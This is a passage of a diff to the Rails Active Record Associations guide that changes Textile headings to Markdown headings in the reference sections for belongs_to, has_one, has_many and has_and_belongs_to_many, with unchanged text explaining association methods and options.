By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
@@ -725,7 +730,7 @@ end
TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-h6(#belongs_to-inverse_of). +:inverse_of+
+##### +:inverse_of+
The +:inverse_of+ option specifies the name of the +has_many+ or +has_one+ association that is the inverse of this association. Does not work in combination with the +:polymorphic+ options.
@@ -739,11 +744,11 @@ class Order < ActiveRecord::Base
end
```
-h6(#belongs_to-polymorphic). +:polymorphic+
+##### +:polymorphic+
Passing +true+ to the +:polymorphic+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
-h6(#belongs_to-touch). +:touch+
+##### +:touch+
If you set the +:touch+ option to +:true+, then the +updated_at+ or +updated_on+ timestamp on the associated object will be set to the current time whenever this object is saved or destroyed:
@@ -765,11 +770,11 @@ class Order < ActiveRecord::Base
end
```
-h6(#belongs_to-validate). +:validate+
+##### +:validate+
If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
-h5(#belongs_to-scopes_for_belongs_to). Scopes for +belongs_to+
+#### Scopes for +belongs_to+
There may be times when you wish to customize the query used by +belongs_to+. Such customizations can be achieved via a scope block. For example:
@@ -787,7 +792,7 @@ You can use any of the standard "querying methods":active_record_querying.html i
* +readonly+
* +select+
-h6(#belongs_to-where). +where+
+##### +where+
The +where+ method lets you specify the conditions that the associated object must meet.
@@ -797,7 +802,7 @@ class Order < ActiveRecord::Base
end
```
-h6(#belongs_to-includes). +includes+
+##### +includes+
You can use the +includes+ method let you specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
@@ -835,17 +840,17 @@ end
NOTE: There's no need to use +includes+ for immediate associations - that is, if you have +Order belongs_to :customer+, then the customer is eager-loaded automatically when it's needed.
-h6(#belongs_to-readonly). +readonly+
+##### +readonly+
If you use +readonly+, then the associated object will be read-only when retrieved via the association.
-h6(#belongs_to-select). +select+
+##### +select+
The +select+ method lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
TIP: If you use the +select+ method on a +belongs_to+ association, you should also set the +:foreign_key+ option to guarantee the correct results.
-h5(#belongs_to-do_any_associated_objects_exist). Do Any Associated Objects Exist?
+#### Do Any Associated Objects Exist?
You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method:
@@ -855,15 +860,15 @@ if @order.customer.nil?
end
```
-h5(#belongs_to-when_are_objects_saved). When are Objects Saved?
+#### When are Objects Saved?
Assigning an object to a +belongs_to+ association does _not_ automatically save the object. It does not save the associated object either.
-h4. +has_one+ Association Reference
+### +has_one+ Association Reference
The +has_one+ association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use +belongs_to+ instead.
-h5. Methods Added by +has_one+
+#### Methods Added by +has_one+
When you declare a +has_one+ association, the declaring class automatically gains four methods related to the association:
@@ -891,7 +896,7 @@ create_account
NOTE: When initializing a new +has_one+ or +belongs_to+ association you must use the +build_+ prefix to build the association, rather than the +association.build+ method that would be used for +has_many+ or +has_and_belongs_to_many+ associations. To create one, use the +create_+ prefix.
-h6(#has_one-association). <tt><em>association</em>(force_reload = false)</tt>
+##### <tt><em>association</em>(force_reload = false)</tt>
The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+.
@@ -901,7 +906,7 @@ The <tt><em>association</em></tt> method returns the associated object, if any.
If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
-h6(#has_one-association_equal). <tt><em>association</em>=(associate)</tt>
+##### <tt><em>association</em>=(associate)</tt>
The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
@@ -909,7 +914,7 @@ The <tt><em>association</em>=</tt> method assigns an associated object to this o
@supplier.account = @account
```
-h6(#has_one-build_association). <tt>build_<em>association</em>(attributes = {})</tt>
+##### <tt>build_<em>association</em>(attributes = {})</tt>
The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
@@ -917,7 +922,7 @@ The <tt>build_<em>association</em></tt> method returns a new object of the assoc
@account = @supplier.build_account(:terms => "Net 30")
```
-h6(#has_one-create_association). <tt>create_<em>association</em>(attributes = {})</tt>
+##### <tt>create_<em>association</em>(attributes = {})</tt>
The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
@@ -925,7 +930,7 @@ The <tt>create_<em>association</em></tt> method returns a new object of the asso
@account = @supplier.create_account(:terms => "Net 30")
```
-h5. Options for +has_one+
+#### Options for +has_one+
While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_one+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
@@ -949,15 +954,15 @@ The +has_one+ association supports these options:
* +:through+
* +:validate+
-h6(#has_one-as). +:as+
+##### +:as+
Setting the +:as+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
-h6(#has_one-autosave). +:autosave+
+##### +:autosave+
If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-h6(#has_one-class_name). +:class_name+
+##### +:class_name+
If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is +Billing+, you'd set things up this way:
@@ -967,7 +972,7 @@ class Supplier < ActiveRecord::Base
end
```
-h6(#has_one-dependent). +:dependent+
+##### +:dependent+
Controls what happens to the associated object when its owner is destroyed:
@@ -977,7 +982,7 @@ Controls what happens to the associated object when its owner is destroyed:
* +:restrict_with_exception+ causes an exception to be raised if there is an associated record
* +:restrict_with_error+ causes an error to be added to the owner if there is an associated object
-h6(#has_one-foreign_key). +:foreign_key+
+##### +:foreign_key+
By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
@@ -989,7 +994,7 @@ end
TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-h6(#has_one-inverse_of). +:inverse_of+
+##### +:inverse_of+
The +:inverse_of+ option specifies the name of the +belongs_to+ association that is the inverse of this association. Does not work in combination with the +:through+ or +:as+ options.
@@ -1003,27 +1008,27 @@ class Account < ActiveRecord::Base
end
```
-h6(#has_one-primary_key). +:primary_key+
+##### +:primary_key+
By convention, Rails assumes that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
-h6(#has_one-source). +:source+
+##### +:source+
The +:source+ option specifies the source association name for a +has_one :through+ association.
-h6(#has_one-source_type). +:source_type+
+##### +:source_type+
The +:source_type+ option specifies the source association type for a +has_one :through+ association that proceeds through a polymorphic association.
-h6(#has_one-through). +:through+
+##### +:through+
The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations were discussed in detail <a href="#the-has_one-through-association">earlier in this guide</a>.
-h6(#has_one-validate). +:validate+
+##### +:validate+
If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
-h5(#belongs_to-scopes_for_has_one). Scopes for +has_one+
+#### Scopes for +has_one+
There may be times when you wish to customize the query used by +has_one+. Such customizations can be achieved via a scope block. For example:
@@ -1040,7 +1045,7 @@ You can use any of the standard "querying methods":active_record_querying.html i
* +readonly+
* +select+
-h6(#has_one-where). +where+
+##### +where+
The +where+ method lets you specify the conditions that the associated object must meet.
@@ -1050,7 +1055,7 @@ class Supplier < ActiveRecord::Base
end
```
-h6(#has_one-includes). +includes+
+##### +includes+
You can use the +includes+ method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
@@ -1086,15 +1091,15 @@ class Representative < ActiveRecord::Base
end
```
-h6(#has_one-readonly). +readonly+
+##### +readonly+
If you use the +readonly+ method, then the associated object will be read-only when retrieved via the association.
-h6(#has_one-select). +select+
+##### +select+
The +select+ method lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
-h5(#has_one-do_any_associated_objects_exist). Do Any Associated Objects Exist?
+#### Do Any Associated Objects Exist?
You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method:
@@ -1104,7 +1109,7 @@ if @supplier.account.nil?
end
```
-h5(#has_one-when_are_objects_saved). When are Objects Saved?
+#### When are Objects Saved?
When you assign an object to a +has_one+ association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.
@@ -1114,11 +1119,11 @@ If the parent object (the one declaring the +has_one+ association) is unsaved (t
If you want to assign an object to a +has_one+ association without saving the object, use the <tt><em>association</em>.build</tt> method.
-h4. +has_many+ Association Reference
+### +has_many+ Association Reference
The +has_many+ association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.
-h5. Methods Added by +has_many+
+#### Methods Added by +has_many+
When you declare a +has_many+ association, the declaring class automatically gains 13 methods related to the association:
@@ -1164,7 +1169,7 @@ orders.build(attributes = {}, ...)
orders.create(attributes = {})
```
-h6(#has_many-collection). <tt><em>collection</em>(force_reload = false)</tt>
+##### <tt><em>collection</em>(force_reload = false)</tt>
The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
@@ -1172,7 +1177,7 @@ The <tt><em>collection</em></tt> method returns an array of all of the associate
@orders = @customer.orders
```
-h6(#has_many-collection-lt_lt). <tt><em>collection</em><<(object, ...)</tt>
+##### <tt><em>collection</em><<(object, ...)</tt>
The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
@@ -1180,7 +1185,7 @@ The <tt><em>collection</em><<</tt> method adds one or more objects to the collec
@customer.orders << @order1
```
-h6(#has_many-collection-delete). <tt><em>collection</em>.delete(object, ...)</tt>
+##### <tt><em>collection</em>.delete(object, ...)</tt>
The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by setting their foreign keys to +NULL+.
@@ -1191,11 +1196,11 @@ The <tt><em>collection</em>.delete</tt> method removes one or more objects from
WARNING: Additionally, objects will be destroyed if they're associated with +:dependent => :destroy+, and deleted if they're associated with +:dependent => :delete_all+.
-h6(#has_many-collection-equal). <tt><em>collection</em>=objects</tt>
+##### <tt><em>collection</em>=objects</tt>
The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
-h6(#has_many-collection_singular). <tt><em>collection_singular</em>_ids</tt>
+##### <tt><em>collection_singular</em>_ids</tt>
The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.
@@ -1203,15 +1208,15 @@ The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids
@order_ids = @customer.order_ids
```
-h6(#has_many-collection_singular_ids_ids). <tt><em>collection_singular</em>_ids=ids</tt>
+##### <tt><em>collection_singular</em>_ids=ids</tt>
The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
-h6(#has_many-collection-clear). <tt><em>collection</em>.clear</tt>
+##### <tt><em>collection</em>.clear</tt>
The <tt><em>collection</em>.clear</tt> method removes every object from the collection. This destroys the associated objects if they are associated with +:dependent => :destroy+, deletes them directly from the database if +:dependent => :delete_all+, and otherwise sets their foreign keys to +NULL+.
-h6(#has_many-collection-empty). <tt><em>collection</em>.empty?</tt>
+##### <tt><em>collection</em>.empty?</tt>
The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects.
@@ -1221,7 +1226,7 @@ The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection
<% end %>
```
-h6(#has_many-collection-size). <tt><em>collection</em>.size</tt>
+##### <tt><em>collection</em>.size</tt>
The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.
@@ -1229,7 +1234,7 @@ The <tt><em>collection</em>.size</tt> method returns the number of objects in th
@order_count = @customer.orders.size
```
-h6(#has_many-collection-find). <tt><em>collection</em>.find(...)</tt>
+##### <tt><em>collection</em>.find(...)</tt>
The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+.
@@ -1237,7 +1242,7 @@ The <tt><em>collection</em>.find</tt> method finds objects within the collection
@open_orders = @customer.orders.find(1)
```
-h6(#has_many-collection-where). <tt><em>collection</em>.where(...)</tt>
+##### <tt><em>collection</em>.where(...)</tt>
The <tt><em>collection</em>.where</tt> method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.
@@ -1246,11 +1251,11 @@ The <tt><em>collection</em>.where</tt> method finds objects within the collectio
@open_order = @open_orders.first # Now the database will be queried
```
-h6(#has_many-collection-exists). <tt><em>collection</em>.exists?(...)</tt>
+##### <tt><em>collection</em>.exists?(...)</tt>
The <tt><em>collection</em>.exists?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
-h6(#has_many-collection-build). <tt><em>collection</em>.build(attributes = {}, ...)</tt>
+##### <tt><em>collection</em>.build(attributes = {}, ...)</tt>
The <tt><em>collection</em>.build</tt> method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
@@ -1259,7 +1264,7 @@ The <tt><em>collection</em>.build</tt> method returns one or more new objects of
:order_number => "A12345")
```
-h6(#has_many-collection-create). <tt><em>collection</em>.create(attributes = {})</tt>
+##### <tt><em>collection</em>.create(attributes = {})</tt>
The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
@@ -1268,7 +1273,7 @@ The <tt><em>collection</em>.create</tt> method returns a new object of the assoc
:order_number => "A12345")
```
-h5. Options for +has_many+
+#### Options for +has_many+
While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
@@ -1292,15 +1297,15 @@ The +has_many+ association supports these options:
* +:through+
* +:validate+
-h6(#has_many-as). +:as+
+##### +:as+
Setting the +:as+ option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>.
-h6(#has_many-autosave). +:autosave+
+##### +:autosave+
If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-h6(#has_many-class_name). +:class_name+
+##### +:class_name+
If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is +Transaction+, you'd set things up this way:
@@ -1310,7 +1315,7 @@ class Customer < ActiveRecord::Base
end
```
-h6(#has_many-dependent). +:dependent+
+##### +:dependent+
Controls what happens to the associated objects when their owner is destroyed:
@@ -1322,7 +1327,7 @@ Controls what happens to the associated objects when their owner is destroyed:
NOTE: This option is ignored when you use the +:through+ option on the association.
-h6(#has_many-foreign_key). +:foreign_key+
+##### +:foreign_key+
By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
@@ -1334,7 +1339,7 @@ end
TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-h6(#has_many-inverse_of). +:inverse_of+
+##### +:inverse_of+
The +:inverse_of+ option specifies the name of the +belongs_to+ association that is the inverse of this association. Does not work in combination with the +:through+ or +:as+ options.
@@ -1348,27 +1353,27 @@ class Order < ActiveRecord::Base
end
```
-h6(#has_many-primary_key). +:primary_key+
+##### +:primary_key+
By convention, Rails assumes that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
-h6(#has_many-source). +:source+
+##### +:source+
The +:source+ option specifies the source association name for a +has_many :through+ association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.
-h6(#has_many-source_type). +:source_type+
+##### +:source_type+
The +:source_type+ option specifies the source association type for a +has_many :through+ association that proceeds through a polymorphic association.
-h6(#has_many-through). +:through+
+##### +:through+
The +:through+ option specifies a join model through which to perform the query. +has_many :through+ associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has_many-through-association">earlier in this guide</a>.
-h6(#has_many-validate). +:validate+
+##### +:validate+
If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
-h5(#has_many-scopes_for_has_many). Scopes for +has_many+
+#### Scopes for +has_many+
There may be times when you wish to customize the query used by +has_many+. Such customizations can be achieved via a scope block. For example:
@@ -1391,7 +1396,7 @@ You can use any of the standard "querying methods":active_record_querying.html i
* +select+
* +uniq+
-h6(#has_many-where). +where+
+##### +where+
The +where+ method lets you specify the conditions that the associated object must meet.
@@ -1413,11 +1418,11 @@ end
If you use a hash-style +where+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+.
-h6(#has_many-extending). +extending+
+##### +extending+
The +extending+ method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
-h6(#has_many-group). +group+
+##### +group+
The +group+ method supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
@@ -1428,7 +1433,7 @@ class Customer < ActiveRecord::Base
end
```
-h6(#has_many-includes). +includes+
+##### +includes+
You can use the +includes+ method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
@@ -1464,7 +1469,7 @@ class LineItem < ActiveRecord::Base
end
```
-h6(#has_many-limit). +limit+
+##### +limit+
The +limit+ method lets you restrict the total number of objects that will be fetched through an association.
@@ -1476,11 +1481,11 @@ class Customer < ActiveRecord::Base
end
```
-h6(#has_many-offset). +offset+
+##### +offset+
The +offset+ method lets you specify the starting offset for fetching objects via an association. For example, +-> { offset(11) }+ will skip the first 11 records.
-h6(#has_many-order). +order+
+##### +order+
The +order+ method dictates the order in which associated objects will be received (in the syntax used by an SQL +ORDER BY+ clause).
@@ -1490,17 +1495,17 @@ class Customer < ActiveRecord::Base
end
```
-h6(#has_many-readonly). +readonly+
+##### +readonly+
If you use the +readonly+ method, then the associated objects will be read-only when retrieved via the association.
-h6(#has_many-select). +select+
+##### +select+
The +select+ method lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
WARNING: If you specify your own +select+, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
-h6(#has_many-uniq). +uniq+
+##### +uniq+
Use the +uniq+ method to keep the collection free of duplicates. This is mostly useful together with the +:through+ option.
@@ -1538,7 +1543,7 @@ Reading.all.inspect # => [#<Reading id: 16, person_id: 7, post_id: 7>, #<Readin
In the above case there are still two readings. However +person.posts+ shows only one post because the collection loads only unique records.
-h5(#has_many-when_are_objects_saved). When are Objects Saved?
+#### When are Objects Saved?
When you assign an object to a +has_many+ association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.
@@ -1548,11 +1553,11 @@ If the parent object (the one declaring the +has_many+ association) is unsaved (
If you want to assign an object to a +has_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method.
-h4. +has_and_belongs_to_many+ Association Reference
+### +has_and_belongs_to_many+ Association Reference
The +has_and_belongs_to_many+ association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.
-h5. Methods Added by +has_and_belongs_to_many+
+#### Methods Added by +has_and_belongs_to_many+
When you declare a +has_and_belongs_to_many+ association, the declaring class automatically gains 13 methods related to the association:
@@ -1598,14 +1603,14 @@ assemblies.build(attributes = {}, ...)
assemblies.create(attributes = {})
```
-h6. Additional Column Methods
+##### Additional Column Methods
If the join table for a +has_and_belongs_to_many+ association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.
WARNING: The use of extra attributes on the join table in a +has_and_belongs_to_many+ association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a +has_many :through+ association instead of +has_and_belongs_to_many+.
-h6(#has_and_belongs_to_many-collection). <tt><em>collection</em>(force_reload = false)</tt>
+##### <tt><em>collection</em>(force_reload = false)</tt>
The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
@@ -1613,7 +1618,7 @@ The <tt><em>collection</em></tt> method returns an array of all of the associate
@assemblies = @part.assemblies
```
-h6(#has_and_belongs_to_many-collection-lt_lt). <tt><em>collection</em><<(object, ...)</tt>
+##### <tt><em>collection</em><<(object, ...)</tt>
The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by creating records in the join table.
@@ -1623,7 +1628,7 @@ The <tt><em>collection</em><<</tt> method adds one or more objects to the collec
NOTE: This method is aliased as <tt><em>collection</em>.concat</tt> and <tt><em>collection</em>.push</tt>.
-h6(#has_and_belongs_to_many-collection-delete). <tt><em>collection</em>.delete(object, ...)</tt>
+##### <tt><em>collection</em>.delete(object, ...)</tt>
The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
@@ -1631,11 +1636,11 @@ The <tt><em>collection</em>.delete</tt> method removes one or more objects from
@part.assemblies.delete(@assembly1)
```
-h6(#has_and_belongs_to_many-collection-equal). <tt><em>collection</em>=objects</tt>
+##### <tt><em>collection</em>=objects</tt>
The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
-h6(#has_and_belongs_to_many-collection_singular). <tt><em>collection_singular</em>_ids</tt>
+##### <tt><em>collection_singular</em>_ids</tt>
The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.
@@ -1643,15 +1648,15 @@ The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids
@assembly_ids = @part.assembly_ids
```
-h6(#has_and_belongs_to_many-collection_singular_ids_ids). <tt><em>collection_singular</em>_ids=ids</tt>
+##### <tt><em>collection_singular</em>_ids=ids</tt>
The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
-h6(#has_and_belongs_to_many-collection-clear). <tt><em>collection</em>.clear</tt>
+##### <tt><em>collection</em>.clear</tt>
The <tt><em>collection</em>.clear</tt> method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.
-h6(#has_and_belongs_to_many-collection-empty). <tt><em>collection</em>.empty?</tt>
+##### <tt><em>collection</em>.empty?</tt>
The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects.
@@ -1661,7 +1666,7 @@ The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection
<% end %>
```
-h6(#has_and_belongs_to_many-collection-size). <tt><em>collection</em>.size</tt>
+##### <tt><em>collection</em>.size</tt>
The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.
@@ -1669,7 +1674,7 @@ The <tt><em>collection</em>.size</tt> method returns the number of objects in th
@assembly_count = @part.assemblies.size
```
-h6(#has_and_belongs_to_many-collection-find). <tt><em>collection</em>.find(...)</tt>
+##### <tt><em>collection</em>.find(...)</tt>
The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. It also adds the additional condition that the object must be in the collection.
@@ -1677,7 +1682,7 @@ The <tt><em>collection</em>.find</tt> method finds objects within the collection
@assembly = @part.assemblies.find(1)
```
-h6(#has_and_belongs_to_many-collection-where). <tt><em>collection</em>.where(...)</tt>
+##### <tt><em>collection</em>.where(...)</tt>
The <tt><em>collection</em>.where</tt> method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection.
@@ -1685,11 +1690,11 @@ The <tt><em>collection</em>.where</tt> method finds objects within the collectio
@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
```
-h6(#has_and_belongs_to_many-collection-exists). <tt><em>collection</em>.exists?(...)</tt>
+##### <tt><em>collection</em>.exists?(...)</tt>
The <tt><em>collection</em>.exists?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
-h6(#has_and_belongs_to_many-collection-build). <tt><em>collection</em>.build(attributes = {})</tt>
+##### <tt><em>collection</em>.build(attributes = {})</tt>
The <tt><em>collection</em>.build</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
@@ -1698,7 +1703,7 @@ The <tt><em>collection</em>.build</tt> method returns a new object of the associ
{:assembly_name => "Transmission housing"})
```
-h6(#has_and_belongs_to_many-create-attributes). <tt><em>collection</em>.create(attributes = {})</tt>
+##### <tt><em>collection</em>.create(attributes = {})</tt>
The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
@@ -1707,7 +1712,7 @@ The <tt><em>collection</em>.create</tt> method returns a new object of the assoc
{:assembly_name => "Transmission housing"})
```
-h5. Options for +has_and_belongs_to_many+
+#### Options for +has_and_belongs_to_many+
While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_and_belongs_to_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
@@ -1727,7 +1732,7 @@ The +has_and_belongs_to_many+ association supports these options:
* +:join_table+
* +:validate+
-h6(#has_and_belongs_to_many-association_foreign_key). +:association_foreign_key+
+##### +:association_foreign_key+
By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly:
@@ -1741,11 +1746,11 @@ class User < ActiveRecord::Base
end
```
-h6(#has_and_belongs_to_many-autosave). +:autosave+
+##### +:autosave+
If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-h6(#has_and_belongs_to_many-class_name). +:class_name+
+##### +:class_name+
If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is +Gadget+, you'd set things up this way:
@@ -1755,7 +1760,7 @@ class Parts < ActiveRecord::Base
end
```
-h6(#has_and_belongs_to_many-foreign_key). +:foreign_key+
+##### +:foreign_key+
By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
@@ -1767,15 +1772,15 @@ class User < ActiveRecord::Base
end
```
-h6(#has_and_belongs_to_many-join_table). +:join_table+
+##### +:join_table+
If the default name of the join table, based on lexical ordering, is not what you want, you can use the +:join_table+ option to override the default.
-h6(#has_and_belongs_to_many-validate). +:validate+
+##### +:validate+
If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
-h5(#has_and_belongs_to_many-scopes_for_has_and_belongs_to_many). Scopes for +has_and_belongs_to_many+
+#### Scopes for +has_and_belongs_to_many+
There may be times when you wish to customize the query used by +has_and_belongs_to_many+. Such customizations can be achieved via a scope block. For example:
@@ -1798,7 +1803,7 @@ You can use any of the standard "querying methods":active_record_querying.html i
* +select+
* +uniq+
-h6(#has_and_belongs_to_many-where). +where+
+##### +where+
The +where+ method lets you specify the conditions that the associated object must meet.
@@ -1820,11 +1825,11 @@ end
If you use a hash-style +where+, then record creation via this association will be automatically scoped using the hash. In this case, using +@parts.assemblies.create+ or +@parts.assemblies.build+ will create orders where the +factory+ column has the value "Seattle".
-h6(#has_and_belongs_to_many-extending). +extending+
+##### +extending+
The +extending+ method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
-h6(#has_and_belongs_to_many-group). +group+
+##### +group+
The +group+ method supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
@@ -1834,11 +1839,11 @@ class Parts < ActiveRecord::Base
end
```
-h6(#has_and_belongs_to_many-includes). +includes+
+##### +includes+
You can use the +includes+ method to specify second-order associations that should be eager-loaded when this association is used.
-h6(#has_and_belongs_to_many-limit). +limit+
+##### +limit+
The +limit+ method lets you restrict the total number of objects that will be fetched through an association.
@@ -1849,11 +1854,11 @@ class Parts < ActiveRecord::Base
end
```
-h6(#has_and_belongs_to_many-offset). +offset+
+##### +offset+
The +offset+ method lets you specify the starting offset for fetching objects via an association. For example, if you set +offset(11)+, it will skip the first 11 records.
-h6(#has_and_belongs_to_many-order). +order+
+##### +order+
The +order+ method dictates the order in which associated objects will be received (in the syntax used by an SQL +ORDER BY+ clause).
@@ -1864,19 +1869,19 @@ class Parts < ActiveRecord::Base
end
```
-h6(#has_and_belongs_to_many-readonly). +readonly+
+##### +readonly+
If you use the +readonly+ method, then the associated objects will be read-only when retrieved via the association.
-h6(#has_and_belongs_to_many-select). +select+
+##### +select+
The +select+ method lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
-h6(#has_and_belongs_to_many-uniq). +uniq+
+##### +uniq+
Use the +uniq+ method to remove duplicates from the collection.
-h5(#has_and_belongs_to_many-when_are_objects_saved). When are Objects Saved?
+#### When are Objects Saved?
